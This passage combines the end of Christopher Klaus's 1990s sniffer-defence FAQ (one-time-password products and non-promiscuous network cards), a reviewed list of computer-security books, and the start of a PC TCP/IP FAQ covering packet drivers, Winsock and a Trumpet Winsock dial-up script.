    without any need for cryptographic protocols or hardware devices. The user
    takes a list of usable pass codes and scratches out each one as it is used. The
    system tracks usage, removing each passcode from the available list when it is
    used. Comes with a very small and fast password tester and password and pass
    phrase generation systems.

    ArKey:
    This is the original Argued Key system that mutually authenticates users and
    systems to each other based on their common knowledge. No hardware necessary.
    Comes with a very small and fast password tester and password and pass phrase
    generation systems.

    WatchWord and WatchWord II

    Racal-Guardata
    480 Spring Park Place
    Herndon, VA 22070
    703-471-0892
    1-800-521-6261 ext 217

    CRYPTOCard

    Arnold Consulting, Inc.
    2530 Targhee Street, Madison, Wisconsin
    53711-5491 U.S.A.
    Phone : 608-278-7700 Fax: 608-278-7701
    Email: Stephen.L.Arnold@Arnold.Com
    CRYPTOCard is a modern, SecureID-sized, SNK-compatible device.

    SafeWord

    Enigma Logic, Inc.
    2151 Salvio #301
    Concord, CA 94520
    510-827-5707 Fax: (510)827-2593
    For information about Enigma ftp to: ftp.netcom.com in directory
    /pub/sa/safeword

    Secure Computing Corporation:

    2675 Long Lake Road
    Roseville, MN 55113
    Tel: (612) 628-2700
    Fax: (612) 628-2701
    debernar@sctc.com

    -------------------------------------------------------------------------------

    Non-promiscuous Interfaces

    You can try to make sure that most IBM DOS compatible machines have interfaces
    that will not allow sniffing. Here is a list of cards that do not support
    promiscuous mode:

    Test the interface for promiscuous mode by using the Gobbler. If you find a
    interface that does do promiscuous mode and it is listed here, please e-mail
    cklaus@iss.net so I can remove it ASAP.

    IBM Token-Ring Network PC Adapter
    IBM Token-Ring Network PC Adapter II (short card)
    IBM Token-Ring Network PC Adapter II (long card)
    IBM Token-Ring Network 16/4 Adapter
    IBM Token-Ring Network PC Adapter/A
    IBM Token-Ring Network 16/4 Adapter/A
    IBM Token-Ring Network 16/4 Busmaster Server Adapter/A

    The following cards are rumoured to be unable to go into promiscuous mode, but
    that the veracity of those rumours is doubtful.

    Microdyne (Excelan) EXOS 205
    Microdyne (Excelan) EXOS 205T
    Microdyne (Excelan) EXOS 205T/16
    Hewlett-Packard 27250A EtherTwist PC LAN Adapter Card/8
    Hewlett-Packard 27245A EtherTwist PC LAN Adapter Card/8
    Hewlett-Packard 27247A EtherTwist PC LAN Adapter Card/16
    Hewlett-Packard 27248A EtherTwist EISA PC LAN Adapter Card/32
    HP 27247B EtherTwist Adapter Card/16 TP Plus
    HP 27252A EtherTwist Adapter Card/16 TP Plus
    HP J2405A EtherTwist PC LAN Adapter NC/16 TP

    Adapters based upon the TROPIC chipset generally do not support promiscuous
    mode. The TROPIC chipset is used in IBM's Token Ring adapters such as the 16/4
    adapter. Other vendors (notably 3Com) also supply TROPIC based adapters.
    TROPIC-based adapters do accept special EPROMs, however, that will allow them
    to go into promiscuous mode. However, when in promiscuous mode, these adapters
    will spit out a "Trace Tool Present" frame.

    -------------------------------------------------------------------------------

    Acknowledgements

    I would like to thank the following people for the contribution to this FAQ
    that has helped to update and shape it:

    * Padgett Peterson (padgett@tccslr.dnet.mmc.com)
    * Steven Bellovin (smb@research.att.com)
    * Wietse Venema (wietse@wzv.win.tue.nl)
    * Robert D. Graham (robg@NGC.COM)
    * Kevin Martinez (kevinm@beavis.qntm.com)
    * Frederick B. Cohen (fc@all.net)
    * James Bonfield (jkb@mrc-lmb.cam.ac.uk)
    * Marc Horowitz (marc@MIT.EDU)
    * Steve Edwards (steve@newline.com)
    * Andy Poling (Andy.Poling@jhu.edu)
    * Jeff Collyer (jeff@cnet-pnw.com)
    * Sara Gordon (sgordon@sun1.iusb.indiana.edu)

    -------------------------------------------------------------------------------

    Copyright

    This paper is Copyright (c) 1994, 1995
    by Christopher Klaus of Internet Security Systems, Inc.

    Permission is hereby granted to give away free copies electronically. You may
    distribute, transfer, or spread this paper electronically. You may not pretend
    that you wrote it. This copyright notice must be maintained in any copy made.
    If you wish to reprint the whole or any part of this paper in any other medium
    (ie magazines, books, etc) excluding electronic medium, please ask the author
    for permission.

    Disclaimer

    The information within this paper may change without notice. Use of this
    information constitutes acceptance for use in an AS IS condition. There are NO
    warranties with regard to this information. In no event shall the author be
    liable for any damages whatsoever arising out of or in connection with the use
    or spread of this information. Any use of this information is at the user's own
    risk.

    Address of Author

    Please send suggestions, updates, and comments to:
    Christopher Klaus &lt;cklaus@iss.net&gt; of Internet Security Systems, Inc.
    &lt;iss@iss.net&gt;

    Internet Security Systems, Inc.

    Internet Security Systems, Inc, located in Atlanta, Ga., specializes in the
    developement of security scanning software tools. Its flagship product,
    Internet Scanner, is software that learns an organization's network and probes
    every device on that network for security holes. It is the most comprehensive
    "attack simulator" available, checking for over 100 security vulnerabilities.

    --
    Christopher William Klaus Voice: (404)441-2531. Fax: (404)441-2431
    Internet Security Systems, Inc. Computer Security Consulting
    2000 Miller Court West, Norcross, GA 30071
    __________________________________________________________________________

    Books to check out:

    I am adding these books because I have a text file that lists all of these with a review.
    General Computer Security
    ~~~~~~~~~~~~~~~~~~~~~~~~~

    Computer Security Basics
    Author: Deborah Russell and G.T. Gengemi Sr.
    Publisher: O'Reilly & Associates, Inc.
    Copyright Date: 1991
    ISBN: 0-937175-71-4

    This is an excellent book. It gives a broad overview of
    computer security without sacrificing detail. A must read for
    the beginning security expert.

    Computer Security Management
    Author: Karen Forcht
    Publisher: Boyd and Fraser
    Copyright Date: 1994
    ISBN: 0-87835-881-1

    Information Systems Security
    Author: Philip Fites and Martin Kratz
    Publisher: Van Nostrad Reinhold
    Copyright Date: 1993
    ISBN: 0-442-00180-0

    Computer Related Risks
    Author: Peter G. Neumann
    Publisher: Addison-Wesley
    Copyright Date: 1995
    ISBN: 0-201-55805-X

    Computer Security Management
    Author: Karen Forcht
    Publisher: boyd & fraser publishing company
    Copyright Date: 1994
    ISBN: 0-87835-881-1

    N The Stephen Cobb Complete Book of PC and LAN Security
    Author: Stephen Cobb
    Publisher: Windcrest Books
    Copyright Date: 1992
    ISBN: 0-8306-9280-0 (hardback) 0-8306-3280-8 (paperback)

    N Security in Computing
    Author: Charles P. Pfleeger
    Publisher: Prentice Hall
    Copyright Date: 1989
    ISBN: 0-13-798943-1.

    N Building a Secure Computer System
    Author: Morrie Gasser
    Publisher: Van Nostrand Reinhold Co., New York.
    Copyright Date:
    ISBN: 0-442-23022-2

    N Modern Methods for Computer Security
    Author: Lance Hoffman
    Publisher: Prentice Hall
    Copyright Date: 1977
    ISBN:

    N Windows NT 3.5 Guidelines for Security, Audit and Control
    Author:
    Publisher: Microsoft Press
    Copyright Date:
    ISBN: 1-55615-814-9

    Unix System Security
    ~~~~~~~~~~~~~~~~~~~~

    Practical Unix Security
    Author: Simson Garfinkel and Gene Spafford
    Publisher: O'Reilly & Associates, Inc.
    Copyright Date: 1991
    ISBN: 0-937175-72-2

    Finally someone with a very firm grasp of Unix system security
    gets down to writing a book on the subject. Buy this book.
    Read this book.

    Firewalls and Internet Security
    Author: William Cheswick and Steven Bellovin
    Publisher: Addison Wesley
    Copyright Date: 1994
    ISBN: 0-201-63357-4

    Unix System Security
    Author: Rik Farrow
    Publisher: Addison Wesley
    Copyright Date: 1991
    ISBN: 0-201-57030-0

    Unix Security: A Practical Tutorial
    Author: N. Derek Arnold
    Publisher: McGraw Hill
    Copyright Date: 1993
    ISBN: 0-07-002560-6

    Unix System Security: A Guide for Users and Systems Administrators
    Author: David A. Curry
    Publisher: Addison-Wesley
    Copyright Date: 1992
    ISBN: 0-201-56327-4

    Unix System Security
    Author: Patrick H. Wood and Stephen G. Kochan
    Publisher: Hayden Books
    Copyright Date: 1985
    ISBN: 0-672-48494-3

    Unix Security for the Organization
    Author: Richard Bryant
    Publisher: Sams
    Copyright Date: 1994
    ISBN: 0-672-30571-2

    Network Security
    ~~~~~~~~~~~~~~~~

    Network Security Secrets
    Author: David J. Stang and Sylvia Moon
    Publisher: IDG Books
    Copyright Date: 1993
    ISBN: 1-56884-021-7

    Not a total waste of paper, but definitely not worth the
    $49.95 purchase price. The book is a rehash of previously
    published information. The only secret we learn from reading
    the book is that Sylvia Moon is a younger woman madly in love
    with the older David Stang.

    Complete Lan Security and Control
    Author: Peter Davis
    Publisher: Windcrest / McGraw Hill
    Copyright Date: 1994
    ISBN: 0-8306-4548-9 and 0-8306-4549-7

    Network Security
    Author: Steven Shaffer and Alan Simon
    Publisher: AP Professional
    Copyright Date: 1994
    ISBN: 0-12-638010-4

    Cryptography
    ~~~~~~~~~~~~

    Applied Cryptography: Protocols, Algorithms, and Source Code in C
    Author: Bruce Schneier
    Publisher: John Wiley & Sons
    Copyright Date: 1994
    ISBN: 0-471-59756-2

    Bruce Schneier's book replaces all other texts on
    cryptography. If you are interested in cryptography, this is
    a must read. This may be the first and last book on
    cryptography you may ever need to buy.

    Cryptography and Data Security
    Author: Dorothy Denning
    Publisher: Addison-Wesley Publishing Co.
    Copyright Date: 1982
    ISBN: 0-201-10150-5

    Protect Your Privacy: A Guide for PGP Users
    Author: William Stallings
    Publisher: Prentice-Hall
    Copyright Date: 1994
    ISBN: 0-13-185596-4

    Programmed Threats
    ~~~~~~~~~~~~~~~~~~

    The Little Black Book of Computer Viruses
    Author: Mark Ludwig
    Publisher: American Eagle Publications
    Copyright Date: 1990
    ISBN: 0-929408-02-0

    The original, and still the best, book on computer viruses.
    No media hype here, just good clean technical information.

    Computer Viruses, Artificial Life and Evolution
    Author: Mark Ludwig
    Publisher: American Eagle Publications
    Copyright Date: 1993
    ISBN: 0-929408-07-1

    Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other
    Threats to Your System
    Author: John McAfee and Colin Haynes
    Publisher: St. Martin's Press
    Copyright Date: 1989
    ISBN: 0-312-03064-9 and 0-312-02889-X

    The Virus Creation Labs: A Journey Into the Underground
    Author: George Smith
    Publisher: American Eagle Publications
    Copyright Date: 1994
    ISBN:

    Telephony
    ~~~~~~~~~

    Engineering and Operations in the Bell System
    Author: R.F. Rey
    Publisher: Bell Telephont Laboratories
    Copyright Date: 1983
    ISBN: 0-932764-04-5

    Although hopelessly out of date, this book remains *THE* book
    on telephony. This book is 100% Bell, and is loved by phreaks
    the world over.

    Telephony: Today and Tomorrow
    Author: Dimitris N. Chorafas
    Publisher: Prentice-Hall
    Copyright Date: 1984
    ISBN: 0-13-902700-9

    The Telecommunications Fact Book and Illustrated Dictionary
    Author: Ahmed S. Khan
    Publisher: Delmar Publishers, Inc.
    Copyright Date: 1992
    ISBN: 0-8273-4615-8

    I find this dictionary to be an excellent reference book on
    telephony, and I recommend it to anyone with serious
    intentions in the field.

    N Tandy/Radio Shack Cellular Hardware
    Author: Judas Gerard and Damien Thorn
    Publisher: Phoenix Rising Communications
    Copyright Date: 1994
    ISBN:

    N The Phone Book
    Author: Carl Oppendahl
    Publisher: Consumer Reports
    Copyright Date:
    ISBN: 0-89043-364-x

    Listing of every cellular ID in the us, plus roaming ports,
    and info numbers for each carrier.

    N Principles of Caller I.D.
    Author:
    Publisher: International MicroPower Corp.
    Copyright Date:
    ISBN:

    Hacking History and Culture
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~

    The Hacker Crackdown: Law and Disorder on the Electronic Frontier
    Author: Bruce Sterling
    Publisher: Bantam Books
    Copyright Date: 1982
    ISBN: 0-553-56370-X

    Bruce Sterling has recently released the book FREE to the net.
    The book is much easier to read in print form, and the
    paperback is only $5.99. Either way you read it, you will be
    glad you did. Mr. Sterling is an excellent science fiction
    author and has brought his talent with words to bear on the
    hacking culture. A very enjoyable reading experience.

    Cyberpunk
    Author: Katie Hafner and John Markoff
    Publisher: Simon and Schuster
    Copyright Date: 1991
    ISBN: 0-671-77879-X

    The Cuckoo's Egg
    Author: Cliff Stoll
    Publisher: Simon and Schuster
    Copyright Date: 1989
    ISBN: 0-671-72688-9

    Hackers: Heroes of the Computer Revolution
    Author: Steven Levy
    Publisher: Doubleday
    Copyright Date: 1984
    ISBN: 0-440-13495-6

    Unclassified
    ~~~~~~~~~~~~

    The Hacker's Handbook
    Author: Hugo Cornwall
    Publisher: E. Arthur Brown Company
    Copyright Date:
    ISBN: 0-912579-06-4

    Secrets of a Super Hacker
    Author: The Knightmare
    Publisher: Loompanics
    Copyright Date: 1994
    ISBN: 1-55950-106-5

    The Knightmare is no super hacker. There is little or no real
    information in this book. The Knightmare gives useful advice
    like telling you not to dress up before going trashing.
    The Knightmare's best hack is fooling Loompanics into
    publishing this garbage.

    The Day The Phones Stopped
    Author: Leonard Lee
    Publisher: Primus / Donald I Fine, Inc.
    Copyright Date: 1992
    ISBN: 1-55611-286-6

    Total garbage. Paranoid delusions of a lunatic. Less factual
    data that an average issue of the Enquirer.

    Information Warfare
    Author: Winn Swartau
    Publisher: Thunder Mountain Press
    Copyright Date: 1994
    ISBN: 1-56025-080-1

    An Illustrated Guide to the Techniques and Equipment of Electronic Warfare
    Author: Doug Richardson
    Publisher: Salamander Press
    Copyright Date:
    ISBN: 0-668-06497-8
    _________________________________________________________________________

    If you still are not satisfied:

    The TCP/IP FAQ is posted to news:comp.protocols.tcp-ip, and is
    maintained by mailto:gnn@netcom.com

    The Windows NT Internet FAQ, written by
    Steve Scoggins, mailto:sscoggin@enet.net, is available via:
    http://www.luc.edu/~tbaltru/faq/

    The HTML version is maintained by Tom Baltrushaytis,
    mailto:tbaltru@orion.it.luc.edu

    This FAQ covers how to set up Windows NT for Internet access
    and various Internet resources specific to Windows NT. If you
    are using NT RAS for TCP/IP connectivity, then you should read
    this FAQ.

    The ASCII text version is available via anonymous ftp from URL:
    ftp://rtfm.mit.edu/pub/usenet-by-hie...t_FAQ_Part_1_2
    ftp://rtfm.mit.edu/pub/usenet-by-hie...t_FAQ_Part_2_2

    The "How To Get It" FAQ on the Crynwr packet driver
    collection is irregularly posted to news:comp.protocols.tcp-ip.ibmpc
    by Russ Nelson, mailto:nelson@crynwr.com.


    ########### COOL WWW PAGES relating to TCP/IP ##########

    http://www.charm.net/ppp.html (Cool home page with lots of pointers to
    TCP/IP stuff)
    http://www.zilker.net/users/internaut/update.html (This FAQ, in HTML)
    http://www.crynwr.com/crynwr/nelson.html (Crynwr Software Home Page)
    ftp://ftp.biostat.washington.edu/ftp...network.setups

    ################# EXAMPLE CONFIG FILES #################

    Many thanks to Dave Fetrow (mailto:fetrow@biostat.washington.edu)
    for creating an archive of setup files. The archive is
    particularly oriented toward sets of applications that
    are somewhat tricky, such as combinations involving
    different driver sets, mixtures of NetWare, TCP/IP,
    and W4WG, etc.

    Please include not only the setup and configuration files
    but some directions. Comments included with the setup files
    are highly desirable. The files can include your name if you
    desire.

    Please mail submissions to mailto:ftp@ftp.biostat.washington.edu.

    The archive itself is located at:
    ftp://ftp.biostat.washington.edu/ftp...network.setups

    Late breaking development: the archive has crashed, and
    files have been lost.



    TABLE OF CONTENTS

    A. Components of a TCP/IP solution

    A-1. What do I need to run TCP/IP on the PC?
    A-2. What are packet drivers? Where do I get them?
    A-3. What is Winsock? Where can I get it?
    A-4. What is Trumpet Winsock? How do I get it to dial?
    A-5. What publicly distributable TCP/IP applications are there
    for DOS? Windows?
    A-6. What software is available for doing SLIP? Compressed SLIP?
    PPP? For DOS? For Windows?
    A-7. What about the software included with various books?
    A-8. What diagnostic utilities are available to find problems with
    my connection? Where can I get them?
    A-9. Is there a CD-ROM with the software included in this FAQ?
    A-10. Does Windows NT support SLIP? PPP?
    A-11. Where can I get Microsoft TCP/IP-32?
    A-12. How do I get my BBS to run over TCP/IP?
    A-13. Are there graphical TCP/IP servers out there?
    A-14. What methods of dynamic address assignment are available?
    A-15. How can I set up PPP server on a UNIX host?
    A-16. What is WinSNMP? Why doesn't my TCP/IP stack support SNMP?
    A-17. What proxy servers are available for use with Web browsers?
    A-18. Why doesn't my Web browser support direct WAIS queries?
    A-19. What is SOCKS? What TCP/IP stacks support it?
    A-20. How can I handle authentication on my NNTP server?
    A-21. What is SLIPKnot?
    A-22. What is TWinSock?
    A-23. How do I get info on the ODI specification?
    A-24. What is WinISDN?

    B. Questions about drivers

    B-1. What do I need to know before setting up SLIP or PPP?
    B-2. How do I configure SLIPDISK?
    B-3. How do I install packet drivers for Windows applications?
    B-4. When do I need to install WINPKT?
    B-5. How to do I run both WinQVT and ODI?
    B-6. Is it possible to use BOOTP over SLIP?
    B-7. How do SLIP drivers work?
    B-8. When do I need to install PKTMUX?
    B-9. Can NDIS be used underneath multiple protocol stacks of the same type?
    B-10. Is there an NDIS over packet driver shim?
    B-11. How do I run NetBIOS over TCP/IP?
    B-12. How do I run NFS and another TCP/IP application?
    B-13. How do I run Trumpet Winsock along with KA9Q or NFS?
    B-14. I am trying to run Netware and TCP/IP at the same time, using
    PDETHER. How do I do this?
    B-15. Sample Stick Diagrams
    B-16. Strange and wonderful configuration files submitted by readers

    C. KA9Q Questions [part 2]

    C-1. What version of KA9Q should I use and where do I get it?
    C-2. What do I need to run KA9Q? Why won't it do VT-100 emulation?
    C-3. How do I configure KA9Q as a SLIP dialup connection?
    C-4. How do I configure KA9Q as a router?
    C-5. How do I get KA9Q to support BOOTP?
    C-6. How do I get KA9Q to support PPP?
    C-7. How do I get KA9Q to support SLIP dialin?
    C-8. Can I use KA9Q as a packet filter?
    C-9. Can I use KA9Q as a BOOTP server?
    C-10. Where can I get a manual for KA9Q?
    C-11. Is there a way to prevent KA9Q from listening to ICMP redirect
    packets? RIP packets?
    C-12. Will KA9Q route sourcF-routed packets? If so, is there any way to
    turn off this (rather undesirable) behavior?
    C-13. I'm trying to use the TextWin version of KA9Q as a SLIP router
    and it isn't working. What's wrong?

    D. PCROUTE and PCBRIDGE

    D-1. How do I get PCROUTE set up?
    D-2. I want to use MS TCP/IP-32 to contact a host over a serial link,
    but have no SLIP or PPP driver. What do I do?
    D-3. How do I get PCBRIDGE to use a SLIP or PPP driver?
    D-4. Can I get PCROUTE to switch off RIP?

    E. Windows NT

    E-1. Does Windows NT support OSPF or RIP? What can I do to get around this?
    E-2. Why shouldn't I try to install Trumpet Winsock on NT?
    E-3. Where can I find out more about SMB? What ports does it use?

    F. Hints for particular packages

    F-1. How do I get DesQView X to run over the network?
    F-2. Why is NFS so slow compared with FTP?
    F-3. Where can I get information on running NetWare and TCP/IP
    concurrently?
    F-4. What NetWare TCP/IP NLMs are out there and how do I get them
    to work?
    F-5. How do I get a telecom package supporting Int 14h redirection
    to work?
    F-6. I am having trouble running Netmanage Chameleon apps along with
    WFW TCP/IP-32. What do I do?
    F-7. How do I get Windows For Workgroups to work alongside NetWare?
    F-9. How come package X doesn't support the AppleTalk packet driver?
    F-10. NCSA Telnet doesn't reassemble fragments. What should I do?
    F-11. I am trying to configure a Macintosh to set its parameters automatically
    on bootup, but it isn't working. What's wrong?
    F-12. I've heard that DHCP is a potential security risk. Is this true?
    F-13. What is TIA?
    F-14. What PC TCP/IP implementations support recent advances?
    F-15. What network adapters have on-board SNMP agents?
    F-16. What is the easiest way to get WFW and Novell Netware to coexist?
    F-17. I'm trying to use packet driver software alongside WFW v3.11 and
    am having a hell of a time. What should I do?
    F-18. What proxy software is available for those concerned about security?
    F-19. How do I mount ftp.microsoft.com on the desktop using file manager?
    F-20. I am having trouble connecting to a Windows NT PPP server. What should
    I do?
    F-21. When should I use COMT?
    F-22. What version of POP should I be running alongside Eudora?
    F-23. How do I use Netscape to read local files?
    F-24. I want to run an NNTP server under OS/2. Does such an animal exist?

    G. Information for developers

    G-1. What publicly distributable TCP/IP stacks are there that I can
    use to develop my own applications?
    G-2. Where can I get a copy of the Windows Sockets FAQ?
    G-3. How do I do multicasting using Windows Sockets?




    --------------------- FAQ Begins Here ---------------------------

    A. Components of a TCP/IP solution

    A-1. What do I need to run TCP/IP on the PC?

    To run TCP/IP on the PC you will need:

    * Appropriate hardware, such as:

    Ethernet card
    Token Ring card
    AppleTalk card
    Serial Port


    Any other network card with a packet driver or NDIS or ODI driver,
    (such as Arcnet), will also work. If your card supports NetBIOS,
    this is also acceptable, since you can run a packet-driver-over-
    NetBIOS shim.

    * Drivers for your hardware.

    Your card probably came with one or more of the following drivers:

    Network Device Interface Specification (NDIS) drivers
    [spec. by 3Com and Microsoft, used by LAN Manager, Windows
    for Workgroups, and Windows NT. LAN Manager uses NDIS 2.0,
    Windows NT uses 3.0, and WFW supports 2.0 and will support
    3.0]
    ODI Drivers [spec. by Novell, abbreviation for Open DataLink
    Interface]
    Packet Drivers [spec. by FTP Software]

    TCP/IP stacks have been written for each of these driver interfaces,
    so the important thing is whether your chosen stack is compatible
    with the interface available for your card.

    A shim is software that runs on top of one set of drivers to
    provide an interface equivalent to another set. This is useful,
    for example,if you are looking to run software requiring an
    NDIS driver(such as Chameleon NFS) alongside software
    requiring a packet driver interface (such as KA9Q, Gopher, Popmail,
    NCSA Telnet, etc.), or run software intended for, say, a packet
    driver over an NDIS driver instead.

    Shims are available to run packet drivers over NetBIOS, ODI,
    or NDIS, in order to run software expecting a packet driver over
    NDIS, ODI, or NetBIOS instead. There are also shims to run NDIS
    over ODI (ODINSUP), and ODI over Packet Drivers (PDETHER).


    * A TCP/IP protocol stack.

    The TCP/IP protocol stack runs on top of the driver software, and
    uses it to access your hardware. If you are running a TCP/IP
    protocol stack that requires drivers that aren't available for your
    hardware, you're in trouble. Check into this before purchasing!

    For DOS, in many cases a TCP/IP stack is built into the applications.
    This is true for a great many of the packet driver applications, including
    KA9Q, and the WATTCP applications.


    * If running Windows applications that require it, WINSOCK.DLL.


    Windows Sockets is a sockets interface which was created as a
    Windows DLL. Each TCP/IP implementation requires its own version
    of Windows Sockets. Trumpet Winsock and VxDTCP are the only
    two publicly distributable Windows Sockets implementations.
    WINSOCK.DLL provides 16-bit support; WSOCK32.DLL provides 32-bit support.


    * Applications software.

    Although most of us in this newsgroup seem to spend our time
    looking for working combinations of applications,WINSOCK.DLLs,
    Windows Sockets compliant TCP/IP implementations, shims,
    drivers, and hardware, ultimately your goal is eventually to
    run an application successfully. If and when that happens,
    please send me a note, so I can add it to this FAQ.


    A-2. What are packet drivers? Where do I get them?

    Packet drivers provide a software interface that is independent of the
    interface card you are using, but NOT independent of the particular
    network technology. As Frances K. Selkirk (mailto:fks@vaxeline.ftp.com) notes:

    "That's one reason they're easier to write than ODI drivers! If you
    write a class three (802.5 Token Ring) driver, you will need to use
    software that expects a class three driver, not software that expects
    a class 1 (DIX ethernet) driver. There are a few drivers that fake class 1.

    I believe only class 1 and class 6 (SLIP) drivers are supported by
    freeware packages."

    The chances are fair that your Ethernet card came with a packet
    driver, and if so, you should try that first. If not, then you
    can try one of the drivers from the Crynwr collection (formerly
    called the Clarkson Drivers). See the Resource listing for info.

    For 3COM drivers, try ftp://ftp.3com.com/pub For technical information,
    try mailto:info@3com.com. For marketing and product info, try
    mailto:leads@hq.3mail.3com.com.The packet driver specification is available
    from ftp://vax.ftp.com/packet-d.ascii

    The following vendors have packet drivers with source available for
    their pocket lan adaptors:

    D-Link - +1-714-455-1688
    Solectek - +1-619-450-1220
    Accton - +1-408-452-8900
    Compulan - +1-408-922-6888
    (soon Kodiak's Noteport - +1-408-441-6900)

    You can obtain a complete library of packet drivers from many of the
    Simtel20 mirror sites, including:
    ftp://oak.oakland.edu/pub/msdos/pktdrvr/pktd11.zip,
    ftp://oak.oakland.edu/pub/msdos/pktdrvr/pktd11c.zip.


    A-3. What is Windows Sockets? Where can I get it?

    The idea for Windows Sockets was born at Fall Interop '91, during a
    Birds of a Feather session.

    From the Windows Sockets specification:
    [courtesy of Mark Towfiq, mailto:towfiq@Microdyne.COM]:


    The Windows Sockets Specification is intended to provide a
    single API to which application developers can program and
    multiple network software vendors can conform. Furthermore, in
    the context of a particular version of Microsoft Windows, it
    defines a binary interface (ABI) such that an application
    written to the Windows Sockets API can work with a conformant
    protocol implementation from any network software vendor.

    Windows Sockets will be supported by Windows, Windows for Workgroups,
    Win32s, and Windows NT. It will also support protocols other than TCP/IP.
    Under Windows NT, Microsoft will provides Windows Sockets support over
    TCP/IP and IPX/SPX. DEC will be implementing DECNet. Windows NT will
    include mechanisms for multiple protocol support in Windows Sockets,
    both 32-bit and 16-bit.

    Mark Towfiq writes:

    "Files and information related to the Windows Sockets API are
    available via ftp://sunsite.unc.edu/pub/micro/pc-s...ndows/winsock,
    which is a mirror of ftp://microdyne.com/pub/winsock (SunSite has a much
    faster connection to the Internet, so you are advised to use
    that).

    If you do not have FTP access to the Internet, send a message
    with the word "help" in the body to either
    mailto:ftpmail@SunSite.UNC.Edu, or mailto:ftpmail@DECWRL.DEC.Com, to obtain
    information about the FTP to Mail service there."

    Alternative sources for the Windows Sockets specification include
    ftp://ftp.microsoft.com/ (an FTP server running NT), as well as the
    Microsoft forum on CompuServe (go msl).

    Currently NetManage (NEWT), Distinct, Spry, FTP and Frontier are shipping
    Winsock TCP/IP stacks, as is Microsoft (Windows NT and TCP/IP for
    WFW), Beame & Whiteside Software (v1.1 compliant), and Sun PC-NFS.
    If you are looking for a Winsock.dll, you should first contact your TCP/IP
    stack vendor. Novell has one in beta for their Lan Workplace for DOS.

    A-4 What is Trumpet Winsock? How can I get it to dial?

    Peter Tattam has released a shareware Windows Sockets compliant
    TCP/IP stack. You can obtain it via
    ftp://ftp.utas.edu.au/pc/trumpet/winsock/winsock.zip,
    ftp://ftp.utas.edu.au/pc/trumpet/winsock/winapps.zip
    ftp://biochemistry.bioc.cwru.edu/pub...k/winsock.zip.
    ftp://biochemistry.bioc.cwru.edu/pub...k/winapps.zip.

    The first thing to do after you download WINSOCK.ZIP is to create
    a directory for Trumpet Winsock, such as C:/TRUMPWSK, and put it
    in your DOS PATH statement.

    Trumpet Winsock operates over packet drivers, or over a serial port
    using its own built-in SLIP/CSLIP and PPP. If you are using a network
    adapter, this means that you will have to locate a packet driver
    for your adapter, and load it. Trumpet Winsock also comes with
    WINPKT, and this is loaded next, via the command
    WINPKT.COM 0x60 [or whatever the software interrupt for your packet driver]

    You will then enter Windows, and create a group in the Program Manager
    for all the files that come with Trumpet Winsock. The stack itself is loaded
    by executing TCPMAN. Applications that come with it include WinCHAT,
    a chatting program; PINGW, a ping utility; FTPW for FTP, WINARCH for Archie.

    When you first execute TCPMAN, you will be asked to fill out the setup
    information for the stack. Select whether you will be using a network
    adapter or SLIP; you cannot use both.

    Since Trumpet Winsock now supports PPP, you do not need to load an Ethernet
    simulation drivers such as EtherPPP.

    If for some reason you don't like Trumpet Winsock's scripting language,
    you can use any other comm program that doesn't drop carrier on exit, or
    the DIALER program, available via:

    ftp://ftp.cica.indiana.edu/pub/pc/wi...l/dialexe.zip.

    You can also use EtherPPP (ftp://merit.edu/pub/ppp/pc/etherppp.zip)
    instead of Trumpet Winsock's built-in PPP. This is an Ethernet simulation driver,
    so you will configure Trumpet Winsock as though it were running over an Ethernet
    Packet driver, i.e. by loading WINPKT 0x60, and setting the packet driver
    vector in TCPMAN to 0x60.

    EtherPPP comes with its own dialer, so you will need to create a dialing script.
    If your TCP/IP address will be changing, you will also need to write a little
    batch script to capture the assigned IP address, and insert it into Trumpet's
    initialization file. EtherPPP takes up too much RAM (121K), but otherwise
    works fine.

    As for Trumpet Winsock's built-in scripting language, the default dialout
    script is LOGIN.CMD. A sample LOGIN.CMD file from Geoff Cox
    (mailto:geoff@satro.demon.co.uk):

    #
    # initialize modem
    #
    output atzm0\13
    input 10 OK
    #
    # set modem to indicate DCD
    #
    output at&d2&c1\13
    input 10 OK\n
    #
    # send phone number
    #
    output atdt0813434848\r
    #
    # my other number
    #
    #output atdt241644\13
    #
    # now we are connected.
    #
    #input 30 CONNECT
    #
    # wait till it's safe to send because some modem's hang up
    # if you transmit during the connection phase
    #
    #wait 30 dcd
    #
    # now prod the terminal server
    #
    #output \13
    #
    # wait for the username prompt
    #
    input 30 ogin:
    username Enter your username
    output \satro\r
    #
    # and the password
    #
    input 30 assword:
    password Enter your password
    output \my password\r
    #
    # we are now logged in
    #
    input 30 otocol:
    #
    # see who on for informational reasons.
    #
    output SLIP\r
    input 30 HELLO


    A-5. What publicly distributable TCP/IP applications are there for
    DOS? Windows?

    Right now there are a wealth of publicly distributable TCP/IP
    applications running under DOS. Windows also has a wealth of
    programs available, including implementations of Gopher, Mail
    (POP3/SMTP), FSP, WWW, Telnet, FTP, IRC, and WAIS.

    See the Resource listings for information.


    A-6. What software is available for doing SLIP? Compressed SLIP?
    PPP? For DOS? For Windows? For OS/2?

    Trumpet Winsock now supports both PPP as well as SLIP/CSLIP.

    For SLIP or CSLIP use with DOS, I recommend using SLIPPER or CSLIPPER.
    These are packet drivers that can be used along with a dialer. For PPP,
    I recommend the EtherPPP packet driver described above.

    There is a special version of NCSA Telnet for PPP, available from
    ftp://merit.edu/pub/ppp/pc.

    KA9Q supports SLIP/CSLIP as well as PPP, but unfortunately can not be used as a
    TCP/IP protocol stack to run other apps.

    I have heard good things about IBM's TCP/IP for OS/2, but haven't
    used it msyelf. Please see the FAQ from news:comp.os.os2.networking for details.

    IBM, FTP Software, Beame & Whiteside, Frontier, SPRY and Netmanage also
    offer SLIP support in their products. See the resource listings for details.


    A-7. What about the software included with various books?

    The software included with various books (including mine) is usually
    Chameleon Sampler from NetManage. Sampler supports SLIP/CSLIP/PPP, but
    not connection over a network, and includes software for FTP, Telnet,
    TN3270, and Mail. The stack included with Sampler (NEWT) is Winsock
    compatible, so you can run any Windows Sockets-compatible application
    over it. Installation is quite a bit simpler compared with going the
    Trumpet Winsock route, so this is probably the best way to go assuming
    that you are a dialup IP user.

    However, be aware that Chameleon Sampler can cause problems if you
    attempt to install it on a system that already has a version of TCP/IP,
    such as one running Microsoft WFW TCP/IP-32. The installer does not
    have an "applications only" option, which is unfortunate.

    Lately, some books are bundling Spyglass Mosaic. This is a good,
    solid Mosaic implementation, but not as featureful or wizzy as
    second generation browsers such as Netscape or BookLink.

    A-8. What diagnostic utilities are available to find problems with
    my connection? Where can I get them?

